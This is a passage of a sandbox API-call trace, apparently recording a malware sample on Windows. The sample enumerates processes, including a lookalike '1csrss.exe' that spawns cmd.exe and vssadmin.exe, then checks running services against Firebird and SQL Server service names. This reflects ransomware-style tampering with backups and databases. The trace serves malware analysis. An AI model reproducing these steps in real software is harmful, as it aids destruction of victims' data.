th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.386] lstrlenW (lpString="svchost.exe") returned 11 [0285.386] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.386] lstrlenW (lpString="svchost.exe") returned 11 [0285.386] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.387] lstrlenW (lpString="svchost.exe") returned 11 [0285.387] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0285.388] lstrlenW (lpString="spoolsv.exe") returned 11 [0285.388] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0285.388] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0285.389] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0285.389] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0285.389] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0285.390] lstrlenW (lpString="Memory Compression") returned 18 [0285.390] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.391] lstrlenW (lpString="svchost.exe") returned 11 [0285.391] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0285.391] lstrlenW (lpString="audiodg.exe") returned 11 [0285.391] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0285.392] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0285.392] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0285.393] lstrlenW (lpString="sihost.exe") returned 10 [0285.393] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.393] lstrlenW (lpString="svchost.exe") returned 11 [0285.393] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0285.394] lstrlenW (lpString="taskhostw.exe") returned 13 [0285.394] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0285.395] lstrlenW (lpString="msoia.exe") returned 9 [0285.395] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0285.395] lstrlenW (lpString="explorer.exe") returned 12 [0285.395] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0285.396] lstrlenW (lpString="SearchUI.exe") returned 12 [0285.396] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0285.397] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0285.397] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0285.397] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0285.397] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0285.398] lstrlenW (lpString="1csrss.exe") returned 10 [0285.398] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.399] lstrlenW (lpString="svchost.exe") returned 11 [0285.399] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0285.399] lstrlenW (lpString="cmd.exe") returned 7 [0285.399] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0285.400] lstrlenW (lpString="conhost.exe") returned 11 [0285.400] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0285.401] lstrlenW (lpString="vssadmin.exe") returned 12 [0285.401] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0285.401] CloseHandle (hObject=0x4c4) returned 1 [0285.402] Sleep (dwMilliseconds=0x1f4) [0285.933] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7dded0 [0285.933] EnumServicesStatusExW (in: hSCManager=0x7dded0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0285.934] GetLastError () returned 0xea [0285.934] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d08) returned 0x3f8ae98 [0285.934] EnumServicesStatusExW (in: hSCManager=0x7dded0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f8ae98, cbBufSize=0x1d08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f8ae98, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0285.934] CloseServiceHandle (hSCObject=0x7dded0) returned 1 [0285.935] lstrlenW (lpString="AppXSvc") returned 7 [0285.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0285.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0285.935] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0285.935] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0285.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0285.935] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0285.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0285.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0285.935] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0285.935] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0285.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0285.935] lstrlenW (lpString="Audiosrv") returned 8 [0285.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0285.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0285.935] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0285.935] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0285.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0285.935] lstrlenW (lpString="BFE") returned 3 [0285.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0285.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0285.936] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0285.936] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0285.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0285.936] lstrlenW (lpString="BITS") returned 4 [0285.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0285.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0285.936] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0285.936] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0285.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0285.936] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0285.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0285.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0285.936] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0285.936] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0285.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0285.936] lstrlenW (lpString="CDPSvc") returned 6 [0285.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0285.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0285.936] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0285.936] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0285.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0285.937] lstrlenW (lpString="ClickToRunSvc") returned 13 [0285.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0285.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0285.937] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0285.937] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0285.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0285.937] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0285.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0285.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0285.937] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0285.937] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0285.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0285.937] lstrlenW (lpString="CryptSvc") returned 8 [0285.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0285.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0285.937] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0285.937] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0285.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0285.937] lstrlenW (lpString="DcomLaunch") returned 10 [0285.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0285.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0285.937] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0285.937] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0285.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0285.937] lstrlenW (lpString="DeviceAssociationService") returned 24 [0285.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0285.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0285.937] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0285.937] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0285.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0285.937] lstrlenW (lpString="Dhcp") returned 4 [0285.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0285.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0285.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0285.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0285.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0285.938] lstrlenW (lpString="Dnscache") returned 8 [0285.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0285.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0285.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0285.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0285.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0285.938] lstrlenW (lpString="DoSvc") returned 5 [0285.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0285.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0285.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0285.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0285.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0285.938] lstrlenW (lpString="DPS") returned 3 [0285.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0285.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0285.939] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0285.939] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0285.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0285.939] lstrlenW (lpString="DusmSvc") returned 7 [0285.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0285.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0285.939] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0285.939] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0285.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0285.939] lstrlenW (lpString="EventLog") returned 8 [0285.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0285.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0285.939] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0285.939] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0285.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0285.939] lstrlenW (lpString="EventSystem") returned 11 [0285.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0285.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0285.939] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0285.939] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0285.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0285.939] lstrlenW (lpString="FontCache") returned 9 [0285.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0285.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0285.939] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0285.939] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0285.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0285.940] lstrlenW (lpString="gpsvc") returned 5 [0285.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0285.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0285.940] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0285.940] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0285.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0285.940] lstrlenW (lpString="iphlpsvc") returned 8 [0285.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0285.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0285.940] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0285.940] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0285.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0285.940] lstrlenW (lpString="KeyIso") returned 6 [0285.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0285.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0285.940] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0285.940] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0285.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0285.940] lstrlenW (lpString="LanmanServer") returned 12 [0285.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0285.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0285.940] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0285.940] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0285.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0285.940] lstrlenW (lpString="LanmanWorkstation") returned 17 [0285.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0285.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0285.940] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0285.940] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0285.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0285.941] lstrlenW (lpString="lfsvc") returned 5 [0285.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0285.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0285.941] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0285.941] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0285.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0285.941] lstrlenW (lpString="lmhosts") returned 7 [0285.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0285.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0285.942] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0285.942] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0285.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0285.942] lstrlenW (lpString="LSM") returned 3 [0285.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0285.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0285.942] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0285.942] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0285.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0285.942] lstrlenW (lpString="MpsSvc") returned 6 [0285.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0285.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0285.942] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0285.942] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0285.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0285.942] lstrlenW (lpString="NcbService") returned 10 [0285.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0285.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0285.942] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0285.943] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0285.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0285.943] lstrlenW (lpString="netprofm") returned 8 [0285.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0285.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0285.943] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0285.943] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0285.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0285.943] lstrlenW (lpString="NgcSvc") returned 6 [0285.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0285.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0285.943] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0285.943] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0285.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0285.943] lstrlenW (lpString="NlaSvc") returned 6 [0285.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0285.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0285.943] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0285.943] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0285.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0285.943] lstrlenW (lpString="nsi") returned 3 [0285.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0285.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0285.943] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0285.943] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0285.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0285.943] lstrlenW (lpString="PcaSvc") returned 6 [0285.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0285.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0285.943] 